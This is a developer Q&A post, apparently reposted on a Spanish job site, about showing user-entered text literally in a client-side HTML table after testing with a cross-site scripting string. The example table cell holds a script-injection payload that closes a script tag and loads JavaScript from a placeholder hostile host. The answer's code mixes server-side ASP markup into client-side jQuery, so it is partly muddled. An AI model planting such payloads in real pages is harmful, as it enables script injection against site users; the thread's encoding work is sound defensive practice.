Empresas
Empleos
  • Sobre nosotros
  • Soluciones
    • Publicación de vacantes
      Publica tu vacante y recibe candidatos calificados en 48h.
    • Evaluación de candidatos
      500+ pruebas técnicas y psicológicas, más anti-fraude.
    • Headhunting
      Búsqueda ejecutiva a la medida de principio a fin.
    • Nómina + EOR
      Dispersión de nómina y EOR en más de 15 países de LATAM.
  • Precios
  • Empleos

0

141
Vistas
Displaying mark up/malicious code strings as literal strings

I have a page containing a table to which values can be added via a textbox in a modal popup and the values will appear in the table on the page. It is being tested by adding the string ); to the textbox and it fails because this string will initiate a popup. So I need to allow this code to be added and appear innocuously in its original format on the page without initiating a popup etc. I've tried HTMLDecode('user added string') but this just cleanses the string and returns ); Is there a way to do this?

This is the table so the string is just being plonked in a cell so maybe something like a Literal would help? But it has to be done client side - there is no server involvement. I don't know how the code is initiated as someone else messed with that but it makes a raptor run across the screen - ridiculous.

<table>
<thead>
    <tr>
        <th>Event</th>
        <th>Target Day(s)</th>
        <th></th>
        <th></th>
    </tr>
</thead>
<tbody>
    <tr>
        <td>));</Script><Script Src="//donastystuff1/X.Js"/></td>
        <td>1</td>
        <td></td>
        <td></td>
    </tr>
</tbody>
about 4 years ago · Juan Pablo Isaza
1 Respuestas
Responde la pregunta

0

Thanks for the input but I fixed it by adding the string to a Literal manually like this

var thisEventType = 'malicious string';
var $thisEventTypeCell = $('<td><asp:Literal id="litEventType" runat="server">' + '</asp:Literal></td>');
$thisEventTypeCell.text(thisEventType);
tr.append($thisEventTypeCell);
about 4 years ago · Juan Pablo Isaza Denunciar
Responde la pregunta
Encuentra empleos remotos

¡Descubre la nueva forma de encontrar empleo!

Top de empleos
Top categorías de empleo
Empresas
Publicar vacante Precios Comercial
Legal
Términos y condiciones Política de privacidad
© 2026 PeakU Inc. All Rights Reserved.
Andres GPT
Recomiéndame algunas ofertas
Necesito ayuda